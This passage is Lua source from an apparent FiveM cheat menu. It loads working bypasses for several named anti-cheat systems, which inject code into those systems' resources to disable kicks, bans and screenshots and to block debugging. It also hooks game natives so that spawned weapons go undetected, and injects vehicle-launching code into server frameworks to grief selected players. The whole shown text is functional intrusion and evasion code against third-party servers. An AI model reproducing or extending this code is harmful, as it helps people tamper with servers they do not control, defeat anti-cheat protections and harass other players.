false end) -- IsEntityAttachedToEntity - return false -- ANTI-STRING DUMP NATIVES MachoHookNative(0xD0AFEC5A82C1D48C, function(...) return false, "lil bro no debug for you" end) end -- string.dump equivalent Wait(100) -- PegasusAC Bypass if GetResourceState("PegasusAC") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading PegasusAC Bypass.", type = 'success' })) end MachoInjectResource2(3, "PegasusAC", [[ pcall(function() for i,v in pairs(Pegasus) do if type(v) == "boolean" then Pegasus[i] = false end end for i,v in pairs(Pegasus["BlackListDictionaryList"]) do if type(Pegasus["BlackListDictionaryList"][i]) ~= "table" then print("Error: BlackListDictionaryList[" .. tostring(i) .. "] is not a table") else Pegasus["BlackListDictionaryList"][i]["punishment"] = false Pegasus["BlackListDictionaryList"][i]["screenshot"] = false end end Pegasus["BLWordsOnScreen"] = {} for i,v in pairs(Pegasus["WeaponDamage"]) do if type(v) ~= "table" then --print("Error: WeaponDamage[" .. tostring(i) .. "] is not a table") else v["punishment"] = false v["screenshot"] = false end end for i,v in pairs(Pegasus["WeaponsList"]) do if type(v) ~= "table" then print("Error: WeaponDamage[" .. tostring(i) .. "] is not a table for WeaponsList index " .. tostring(i)) else v["punishment"] = false v["screenshot"] = false end end end) ]]) end Wait(100) if GetResourceState("el_bwh") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading Private Ac Bypass (Please Report any Issues) .", type = 'success' })) end MachoInjectResource2(3, "el_bwh", [[ local oldWait = Wait local TableSpecials = { ["print"] = true, ["_G"] = true, ["pairs"] = true, ["type"] = true, ["__VERSION"] = true, } _G["__VERSION"] = _G for k, v in pairs(_G) do if not TableSpecials[k] then _G[k] = function() oldWait(10000 * 10000) end end end ]]) end Wait(100) -- WaveShield Bypass if GetResourceState("WaveShield") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading WaveShield Bypass.", type = 'success' })) end print("coming soon") end Wait(100) -- Unity Bypass if GetResourceState("seed") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading Unity Bypass.", type = 'success' })) end MachoInjectResourceRaw('seed', [[ json = nil ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loaded Unity Bypass.", type = 'success' })) end end Wait(100) if GetResourceState("ReaperV4") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading ReaperV4 Extra Bypass.", type = 'success' })) end end Wait(100) -- Likizao AC Bypass if GetResourceState("likizao_ac") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading Likizao AC Bypass.", type = 'success' })) end MachoInjectResourceRaw("likizao_ac", [[ local _drop = DropPlayer local _zeubiiii = TriggerServerEvent local _zouzzie = GetStateBagValue DropPlayer = function(reason) return false end TriggerServerEvent = function(eventName, ...) local e = eventName:lower() if e:find('likizao_ac') or e:find('anticheat') or e:find('ban') or e:find('likizaoac') or e:find('detect') or e:find('kick') then return nil end return _zeubiiii(eventName, ...) end GetStateBagValue = function(bag, key) local k = tostring(key):lower() if k:find('check') or k:find('ban') or k:find('kick') or k == 'docheckplayerped' then return false end return _zouzzie(bag, key) end GetInvokingResource = function() return nil end GetEntityScript = function() return nil end ]]) end Wait(100) -- Putin AC Bypass if GetResourceState("Putin") == "started" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loading Putin AC Bypass.", type = 'success' })) end MachoInjectResource2(3, "Putin", [[ _zeubiiii = TriggerServerEvent _zouzzie = GetStateBagValue GetEntityScript = nil IsEntityGhostedToLocalPlayer = nil TriggerServerEvent = function(eventName, ...) print('TRIGGER EVENT ->', eventName, ...) if eventName:find('PutinAC') then return end return _zeubiiii(eventName, ...) end GetInvokingResource = function() return nil end GetStateBagValue = function(bag, key) if key == 'doCheckPlayerPed' then return false end return _zouzzie(bag, key) end ]]) end Wait(100) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Finished Enjoy.", type = 'success' })) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "All bypasses loaded successfully!", type = 'success' })) end end) end end -- FIXED: Always open key selection first, then load bypasses CreateThread(function() Wait(500) -- Wait for everything to initialize -- Hide menu first MachoSendDuiMessage(dui, json.encode({ action = 'setVisible', visible = false })) -- Always open key selection first (for both first time and returning users) Wait(100) openKeySelection() -- Wait a bit for key selection to complete, then load bypasses Wait(500) -- Give time for user interaction loadBypasses() if firstTimeSetup then ---("=== FIRST TIME SETUP - Key selection opened, bypasses will load after ===") else ---("=== RETURNING USER - Key selection opened, bypasses will load after ===") end end) else ---("ERROR: Failed to create DUI") return end -- ... rest of your code stays the same if not keyListenerRegistered then MachoOnKeyDown(function(keyCode) handleKeyPress(keyCode) end) if MachoOnKeyUp then MachoOnKeyUp(function(keyCode) handleKeyRelease(keyCode) end) end keyListenerRegistered = true -- Thread to handle key repeat logic with progressive acceleration CreateThread(function() while true do Wait(0) local currentTime = GetGameTimer() -- Process all currently held keys (only arrow keys can repeat) for keyCode, isPressed in pairs(keyStates) do -- Skip keys that should not repeat (Enter, Delete, Escape, Backspace, Q, E) if isPressed and keyHoldTime[keyCode] and not NO_REPEAT_KEYS[keyCode] then local holdDuration = currentTime - keyHoldTime[keyCode] -- If held long enough for initial repeat delay if holdDuration >= KEY_REPEAT_INITIAL_DELAY then local timeSinceLastRepeat = currentTime - (keyLastRepeat[keyCode] or keyHoldTime[keyCode]) -- Determine current repeat rate based on hold duration (progressive acceleration) local currentRepeatRate if holdDuration < KEY_REPEAT_ACCELERATION_THRESHOLD_1 then -- Slow speed for first phase currentRepeatRate = KEY_REPEAT_SLOW_RATE elseif holdDuration < KEY_REPEAT_ACCELERATION_THRESHOLD_2 then -- Medium speed for second phase currentRepeatRate = KEY_REPEAT_MEDIUM_RATE else -- Fast speed for third phase currentRepeatRate = KEY_REPEAT_FAST_RATE end -- Check if enough time has passed for next repeat if timeSinceLastRepeat >= currentRepeatRate then -- Trigger a repeat by setting justPressed keyJustPressed[keyCode] = true keyLastRepeat[keyCode] = currentTime keyRepeatCount[keyCode] = (keyRepeatCount[keyCode] or 0) + 1 end end end end -- Clear "just pressed" flags after a short delay to ensure they're processed Wait(0) for key, _ in pairs(keyJustPressed) do keyJustPressed[key] = false end end end) end CreateThread(function() while _G.clientMenuShowing do if textInputActive then local fivemShift = IsDisabledControlPressed(0, 21) or IsDisabledControlPressed(0, 21) local fivemCtrl = IsDisabledControlPressed(0, 36) or IsDisabledControlPressed(0, 36) local fivemAlt = IsDisabledControlPressed(0, 19) or IsDisabledControlPressed(0, 19) if GetGameTimer() % 50 == 0 then if fivemShift ~= shiftPressed then shiftPressed = fivemShift end if fivemCtrl ~= ctrlPressed then ctrlPressed = fivemCtrl if ctrlPressed and isControlJustPressed(0x56) then end end if fivemAlt ~= altPressed then altPressed = fivemAlt end end end Wait(25) end end) -- Auto-update player list when in Server submenu -- Auto-update player list when in Server tabs -- FIXED: Real-time player list updates - replace the existing auto-update section CreateThread(function() local lastUpdateTime = 0 local updateInterval = 500 -- Update every 500ms for stability local forceUpdateCounter = 0 while true do if _G.clientMenuShowing then local currentTime = GetGameTimer() -- Force update every 10 cycles (5 seconds) for stability forceUpdateCounter = forceUpdateCounter + 1 local forceUpdate = forceUpdateCounter >= 10 if forceUpdate then forceUpdateCounter = 0 end -- Check for updates when necessary local shouldUpdate = forceUpdate or (currentTime - lastUpdateTime >= updateInterval) if shouldUpdate then local serverMenuItem for i, menuItem in ipairs(originalMenu) do if menuItem.label == "Server" then serverMenuItem = menuItem break end end if serverMenuItem and serverMenuItem.tabs and currentTabs == serverMenuItem.tabs then if currentTabIndex == 0 then -- PlayerList tab local newPlayerList = getRealPlayerData() local playerSubmenu = {} -- Add separator table.insert(playerSubmenu, { label = '--- Select Player ---', type = 'button', onConfirm = function() end }) -- Track if selected player is still online local selectedPlayerFound = false -- Add updated players with fresh callback functions for _, player in ipairs(newPlayerList or {}) do if selectedPlayerId == player.id then selectedPlayerFound = true end local currentPlayer = player -- Capture the current player in closure table.insert(playerSubmenu, { label = player.name .. " (" .. player.id .. ")", type = 'checkbox', checked = selectedPlayerId == player.id, playerId = player.id, playerData = player, canBind = true, bindName = 'Select ' .. player.name, onConfirm = function(setToggle) if setToggle then selectedPlayerId = currentPlayer.id --- ("Selected player for trolling:", currentPlayer.name, "ID:", currentPlayer.id) -- Send player data to UI for info panel if dui then MachoSendDuiMessage(dui, json.encode({ action = 'setSelectedPlayer', playerData = currentPlayer })) end -- Uncheck all other players in current active menu for i, menuItem in ipairs(activeMenu) do if menuItem.playerId and menuItem.playerId ~= currentPlayer.id then menuItem.checked = false end end else selectedPlayerId = nil -- Clear player info panel if dui then MachoSendDuiMessage(dui, json.encode({ action = 'clearSelectedPlayer' })) end --- ("Deselected player") end setCurrent() end }) end -- Clear selection if selected player went offline if selectedPlayerId and not selectedPlayerFound then selectedPlayerId = nil if dui then MachoSendDuiMessage(dui, json.encode({ action = 'clearSelectedPlayer' })) end --- ("Selected player went offline - cleared selection") end -- Update the menu structure serverMenuItem.tabs[1].submenu = playerSubmenu -- Only update activeMenu if we're currently in the PlayerList tab if activeMenu == serverMenuItem.tabs[1].submenu or (activeMenu and #activeMenu > 0 and activeMenu[1] and activeMenu[1].label == '--- Select Player ---') then activeMenu = playerSubmenu if activeIndex > #activeMenu then activeIndex = math.max(1, #activeMenu) end setCurrent() end -- Update global playerList playerList = newPlayerList end end lastUpdateTime = currentTime end -- Variable wait based on current tab if currentTabs and currentTabIndex == 0 then Wait(100) -- Fast updates when viewing PlayerList else Wait(200) -- Slower when not viewing PlayerList end else Wait(1000) -- Long wait when menu is closed end end end) local function ShootWeapon() local weapon = WeaponList[CurrentWeaponIndex] local ammo = 250 if GetResourceState("asdsadsadsadadddddddddddddddddddddddddddddddddd") == "started" then if IsBlacklisted(weapon, "weapon") then return end else end if weapon == "WEAPON_AIR_DEFENCE_GUN" then ammo = 1 end if _G.ShootRequested and _G.NexusFreecamEnabled and _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then _G.ShootRequested = false Citizen.CreateThread(function() local isReaperV4Running = GetResourceState('ReaperV4') == 'started' -- Hook natives / give weapon conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: inject weapon give into inventory resource with state bypass SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, %d, false, true) else GiveWeaponToPed(playerPed, weaponHash, %d, false, true) end SetCurrentPedWeapon(playerPed, weaponHash, true) ]], weapon, ammo, ammo), "ShootWeapon") -- Do NOT return here, we want the rest of the code to shoot the bullet else MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX Wait(100) local playerPed = PlayerPedId() local weaponHash = GetHashKey(weapon) SafeInjectResourceRaw(InjectionResource(), string.format([[ local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end local playerPed = SmartInvoker(PlayerPedId) local weaponHash = SmartInvoker(GetHashKey, "%s") if not SmartInvoker(HasPedGotWeapon, playerPed, weaponHash, false) then GiveDelayedWeaponToPed(playerPed, weaponHash, %d, false, true) end SmartInvoker(SetCurrentPedWeapon, playerPed, weaponHash, true) ]], weapon, ammo), "ShootWeapon") end local camCoords = GetCamCoord(_G.NexusFreecamObject) local camRot = GetCamRot(_G.NexusFreecamObject, 2) local playerPed = PlayerPedId() local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local forward = RotationToDirection(camRot) local dest = camCoords + forward * 500.0 local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, dest.x, dest.y, dest.z, -1, playerPed, 0) local _, hit, hitCoords = GetShapeTestResult(rayHandle) -- Inject the bullet shooting into a resource so ShootSingleBulletBetweenCoords doesn't trigger invalidNativeCall local bulletTarget = (hit and hitCoords) and hitCoords or dest SafeInjectResourceRaw(InjectionResource(), string.format([[ local function getNative(name, hash) if _G.ReaperAC and _G.ReaperAC.API and _G.ReaperAC.API.GetUnhookedFunction then local unhooked = _G.ReaperAC.API.GetUnhookedFunction(name) if unhooked then return unhooked end end if _G[name] then return _G[name] end return function(...) return Citizen.InvokeNative(hash, ...) end end local PlayerPedId = getNative("PlayerPedId", 0xD80958FC74E988A6) local GetHashKey = getNative("GetHashKey", 0xD24D37CC275948CC) local ShootSingleBulletBetweenCoords = getNative("ShootSingleBulletBetweenCoords", 0x867654CBC7606F2C) local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") ShootSingleBulletBetweenCoords( %.2f, %.2f, %.2f, %.2f, %.2f, %.2f, 100, true, weaponHash, playerPed, true, false, -1.0 ) ]], weapon, camCoords.x, camCoords.y, camCoords.z, bulletTarget.x, bulletTarget.y, bulletTarget.z), "ShootWeapon") -- Switch back to unarmed after shooting Citizen.CreateThread(function() Wait(100) SafeInjectResourceRaw(InjectionResource(), [[ local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end local playerPed = SmartInvoker(PlayerPedId) local unarmedHash = SmartInvoker(GetHashKey, "WEAPON_UNARMED") SmartInvoker(SetCurrentPedWeapon, playerPed, unarmedHash, true) ]], "ShootWeapon") end) end) end end function ShootVehicle(model, targetCoords, heading) -- Get camera position for shooting direction if not _G.NexusFreecamEnabled or not _G.NexusFreecamObject or not DoesCamExist(_G.NexusFreecamObject) then print("^1[ERROR]: Freecam not active") return end local camCoords = GetCamCoord(_G.NexusFreecamObject) local camRot = GetCamRot(_G.NexusFreecamObject, 2) local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local forward = RotationToDirection(camRot) -- Spawn vehicle close to camera (3 units in front) local spawnCoords = camCoords + forward * 3.0 -- Target is where you're aiming (the raycast hit point) local targetPoint = targetCoords -- Convert model string to byte array for decode method local function StringToBytes(str) local bytes = {} for i = 1, #str do table.insert(bytes, string.byte(str, i)) end return table.concat(bytes, ", ") end local modelBytes = StringToBytes(model) -- Normalize heading to a number if it's a vector local headingNum = heading if type(heading) == "vector3" or (type(heading) == "table" and heading.z) then headingNum = heading.z elseif type(heading) ~= "number" then headingNum = 0.0 end local executions = { ["vrp"] = function() local success, err = pcall(function() MachoInjectResourceScriptOverride( "NewThreads", "vrp", string.format([[ local spawnCoords = vector3(%.2f, %.2f, %.2f) local targetPoint = vector3(%.2f, %.2f, %.2f) local model = GetHashKey("%s") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local vehicle = CreateVehicle(model, spawnCoords.x, spawnCoords.y, spawnCoords.z, %.2f, true, false) if DoesEntityExist(vehicle) then SetEntityAsMissionEntity(vehicle, true, true) SetVehicleOnGroundProperly(vehicle) Wait(100) local direction = targetPoint - spawnCoords local distance = #direction if distance > 0.1 then local nd = direction / distance SetEntityHeading(vehicle, math.deg(math.atan2(nd.y, nd.x))) SetVehicleEngineOn(vehicle, true, true, false) SetVehicleForwardSpeed(vehicle, 120.0) ApplyForceToEntityCenterOfMass(vehicle, 1, nd.x * 800.0, nd.y * 800.0, nd.z * 200.0, true, true, true, true) end SetModelAsNoLongerNeeded(model) end ]], spawnCoords.x, spawnCoords.y, spawnCoords.z, targetPoint.x, targetPoint.y, targetPoint.z, model, headingNum), "@citizen:/scripting/lua/scheduler.lua", 500, 600 ) end) if not success then end end, ["17umov"] = function() local success, error = pcall(function() -- List of 17mov resources to check local movResources = { "17mov_Deliverer", "17mov_BuilderJob", "17mov_Electrician", "17mov_Postman", "17mov_Lumberjack", "17mov_TreasureHunter", "17mov_OilRig", "17mov_WindowCleaning", "17mov_GruppeSechs" } local foundResource = nil for _, resourceName in ipairs(movResources) do if GetResourceState(resourceName) == "started" then foundResource = resourceName break end end if foundResource then MachoInjectResource2(NewThreadNs, foundResource, string.format([[ local spawnCoords = vector4(%.2f, %.2f, %.2f, %.2f) local targetPoint = vector3(%.2f, %.2f, %.2f) SpawnVehicle("%s", spawnCoords, true) Wait(100) -- Find the spawned vehicle and shoot it local vehicles = GetGamePool('CVehicle') for _, veh in ipairs(vehicles) do local vehCoords = GetEntityCoords(veh) if #(vehCoords - vector3(%.2f, %.2f, %.2f)) < 5.0 then local direction = targetPoint - vector3(%.2f, %.2f, %.2f) local distance = #direction if distance > 0.1 then local normalizedDirection = direction / distance local nd = normalizedDirection ApplyForceToEntityCenterOfMass(veh, 1, nd.x * 100.0, nd.y * 100.0, nd.z * 100.0, 0, false, true, false) end break end end ]], spawnCoords.x, spawnCoords.y, spawnCoords.z, headingNum, targetPoint.x, targetPoint.y, targetPoint.z, model, spawnCoords.x, spawnCoords.y, spawnCoords.z, spawnCoords.x, spawnCoords.y, spawnCoords.z)) end end) if not success and error then print("^1[ERROR]: 17umov vehicle shoot failed: " .. tostring(error)) end end, ["qb-core"] = function() local success, error = pcall(function() MachoInjectResource2(NewThreadNs, 'qb-core', string.format([[ local model = "%s" local spawnCoords = vector3(%.2f, %.2f, %.2f) local heading = %.2f local targetPoint = vector3(%.2f, %.2f, %.2f) QBCore.Functions.SpawnVehicle(model, false, spawnCoords, true, false, function(vehicle) if DoesEntityExist(vehicle) then SetEntityAsMissionEntity(vehicle, true, true) SetVehicleOnGroundProperly(vehicle) FreezeEntityPosition(vehicle, false) SetEntityCollision(vehicle, true, true) SetEntityDynamic(vehicle, true) ActivatePhysics(vehicle) -- Aim vehicle toward target and push forward local direction = targetPoint - spawnCoords local distance = #direction if distance > 0.1 then local nd = direction / distance local desiredHeading = math.deg(math.atan2(nd.y, nd.x)) SetEntityHeading(vehicle, desiredHeading) SetVehicleEngineOn(vehicle, true, true, false) -- Use forward speed for reliability with vehicles SetVehicleForwardSpeed(vehicle, 120.0) -- Add impulse to help it "shoot" ApplyForceToEntityCenterOfMass(vehicle, 1, nd.x * 800.0, nd.y * 800.0, nd.z * 200.0, true, true, true, true) print("^2[DEBUG]: Vehicle shot toward target") else print("^1[ERROR]: Invalid target distance") end else print("^1[ERROR]: Vehicle does not exist after spawn") end end) ]], model, spawnCoords.x, spawnCoords.y, spawnCoords.z, headingNum, targetPoint.x, targetPoint.y, targetPoint.z)) end) if success then print("^2[SUCCESS]: QB-Core vehicle shoot initiated") else print("^1[ERROR]: " .. tostring(error)) end end, ["lunar_bridge"] = function() -- Only run lunar_bridge if mc9-lib or mc9-adminmenu is running if GetResourceState("mc9-lib") ~= "started" and GetResourceState("mc9-adminmenu") ~= "started" then return end local success, error = pcall(function() MachoInjectResource2(3, "lunar_bridge", string.format([[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local model = decode({%s}) local spawnCoords = vector3(%.2f, %.2f, %.2f) local heading = %.2f local targetPoint = vector3(%.2f, %.2f, %.2f) Framework.spawnVehicle(model, spawnCoords, heading, function(vehicle) if DoesEntityExist(vehicle) then Wait(100) local direction = targetPoint - spawnCoords local distance = #direction local normalizedDirection = direction / distance local shootVelocity = normalizedDirection * 50.0 SetEntityVelocity(vehicle, shootVelocity.x, shootVelocity.y, shootVelocity.z) end end) ]], modelBytes, spawnCoords.x, spawnCoords.y, spawnCoords.z, headingNum, targetPoint.x, targetPoint.y, targetPoint.z)) end) if success then else end end, ["drc_gardener"] = function() local success, error = pcall(function() MachoInjectResource2(NewThreadNs, "drc_gardener", string.format([[ local vehicleHash = GetHashKey("%s") RequestModel(vehicleHash) while not HasModelLoaded(vehicleHash) do Wait(0) end local vehicle = CreateVehicle(vehicleHash, %.2f, %.2f, %.2f, 0.0, true, false) if DoesEntityExist(vehicle) then SetEntityAsMissionEntity(vehicle, true, true) SetVehicleOnGroundProperly(vehicle) Wait(100) local direction = vector3(%.2f, %.2f, %.2f) - vector3(%.2f, %.2f, %.2f) local normalizedDirection = direction / #direction local shootVelocity = normalizedDirection * 50.0 SetEntityVelocity(vehicle, shootVelocity.x, shootVelocity.y, shootVelocity.z) SetModelAsNoLongerNeeded(vehicleHash) end ]], model, spawnCoords.x, spawnCoords.y, spawnCoords.z, targetPoint.x, targetPoint.y, targetPoint.z, spawnCoords.x, spawnCoords.y, spawnCoords.z)) end) if success then else end end, ["es_extended"] = function() local success, error = pcall(function() MachoInjectResource2(NewThreadNs, 'es_extended', string.format([[ local model = "%s" local spawnCoords = vector3(%.2f, %.2f, %.2f) local heading = %.2f local targetPoint = vector3(%.2f, %.2f, %.2f) ESX.Game.SpawnVehicle(model, spawnCoords, heading, function(vehicle) if DoesEntityExist(vehicle) then Wait(100) local direction = targetPoint - spawnCoords local distance = #direction local normalizedDirection = direction / distance local shootVelocity = normalizedDirection * 50.0 SetEntityVelocity(vehicle, shootVelocity.x, shootVelocity.y, shootVelocity.z) end end) ]], model, spawnCoords.x, spawnCoords.y, spawnCoords.z, headingNum, targetPoint.x, targetPoint.y, targetPoint.z)) end) end, ["WaveShield"] = function() local success, error = pcall(function() -- Pass the freecam variables to the monitor thread local freecamEnabled = _G.NexusFreecamEnabled local freecamObject = _G.NexusFreecamObject SafeInjectResourceRaw(InjectionResource(), string.format([[ -- Initialize freecam variables in monitor thread _G.NexusFreecamEnabled = %s _G.NexusFreecamObject = %s local CreateThread = _G.CreateThread or function(...) end local CreateVehicle = _G.CreateVehicle or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local Wait = _G.Wait or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetVehicleEngineOn = _G.SetVehicleEngineOn or function(...) end local SetVehicleForwardSpeed = _G.SetVehicleForwardSpeed or function(...) end local SetEntityRotation = _G.SetEntityRotation or function(...) end local SetEntityVelocity = _G.SetEntityVelocity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end CreateThread(function() local vehicleHash = GetHashKey("%s") RequestModel(vehicleHash) local timeout = 0 while not HasModelLoaded(vehicleHash) and timeout < 1000 do Wait(10) timeout = timeout + 1 end if HasModelLoaded(vehicleHash) then local spawnCoords = vector3(%.2f, %.2f, %.2f) local targetPoint = vector3(%.2f, %.2f, %.2f) local direction = targetPoint - spawnCoords local distance = #direction local normalizedDirection = direction / distance -- Calculate rotation from direction local pitch = math.deg(math.asin(normalizedDirection.z)) local yaw = math.deg(math.atan2(-normalizedDirection.x, normalizedDirection.y)) local vehicle = CreateVehicle(vehicleHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, yaw, true, true, false) if DoesEntityExist(vehicle) then SetEntityAsMissionEntity(vehicle, true, true) SetVehicleEngineOn(vehicle, true, true, false) SetVehicleForwardSpeed(vehicle, 0.0) SetEntityRotation(vehicle, pitch, 0.0, yaw, 2, true) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) Wait(100) local shootVelocity = normalizedDirection * 50.0 SetEntityVelocity(vehicle, shootVelocity.x, shootVelocity.y, shootVelocity.z) SetModelAsNoLongerNeeded(vehicleHash) end end end) ]], tostring(freecamEnabled), tostring(freecamObject), model, spawnCoords.x, spawnCoords.y, spawnCoords.z, targetPoint.x, targetPoint.y, targetPoint.z, model, spawnCoords.x, spawnCoords.y, spawnCoords.z, targetPoint.x, targetPoint.y, targetPoint.z), "ShootVehicle") end) end, ["cashflowcars"] = function() MachoInjectResource2(NewThreadNs, "scripts", string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local CreateThread = _G.CreateThread or function(...) end local Wait = _G.Wait or function(...) end local GetGamePool = _G.GetGamePool or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityDynamic = _G.SetEntityDynamic or function(...) end local ActivatePhysics = _G.ActivatePhysics or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetVehicleEngineOn = _G.SetVehicleEngineOn or function(...) end local SetVehicleForwardSpeed = _G.SetVehicleForwardSpeed or function(...) end local ApplyForceToEntityCenterOfMass = _G.ApplyForceToEntityCenterOfMass or function(...) end local originalTaskWarpPed = TaskWarpPedIntoVehicle local originalSetPedInto = SetPedIntoVehicle local originalTaskEnterVehicle = TaskEnterVehicle TaskWarpPedIntoVehicle = function() end SetPedIntoVehicle = function() end TaskEnterVehicle = function() end local ped = safeCall(PlayerPedId) local pedCoords = safeCall(GetEntityCoords, ped) local pedHeading = safeCall(GetEntityHeading, ped) local spawnCoords = vector3(%.2f, %.2f, %.2f) local playerVec4 = vector4(spawnCoords.x, spawnCoords.y, spawnCoords.z, %.2f) local targetPoint = vector3(%.2f, %.2f, %.2f) local vehicleModel = "%s" local modelHash = safeCall(GetHashKey, vehicleModel) local owned = lib.callback.await('garages:get', false, nil, 'car') if not owned or not owned[1] then print("^1No owned vehicle found in car garage!") safeCall(CreateThread, function() safeCall(Wait, 1000) TaskWarpPedIntoVehicle = originalTaskWarpPed SetPedIntoVehicle = originalSetPedInto TaskEnterVehicle = originalTaskEnterVehicle end) return end local properties = Zen.Streaming.GetProperties(owned[1].plate) properties.model = vehicleModel TriggerServerEvent('garages:spawnVehicle', properties.model, properties, playerVec4) safeCall(CreateThread, function() safeCall(Wait, 800) -- Find the spawned vehicle by model hash local vehicles = safeCall(GetGamePool, 'CVehicle') local spawnedVehicle = nil local closestDist = 50.0 for _, veh in ipairs(vehicles) do local vehModel = safeCall(GetEntityModel, veh) local vehCoords = safeCall(GetEntityCoords, veh) local distToSpawn = #(vehCoords - spawnCoords) local distToPed = #(vehCoords - pedCoords) if vehModel == modelHash and (distToSpawn < closestDist or distToPed < closestDist) then spawnedVehicle = veh closestDist = math.min(distToSpawn, distToPed) end end if spawnedVehicle and safeCall(DoesEntityExist, spawnedVehicle) then -- First teleport it to spawn position 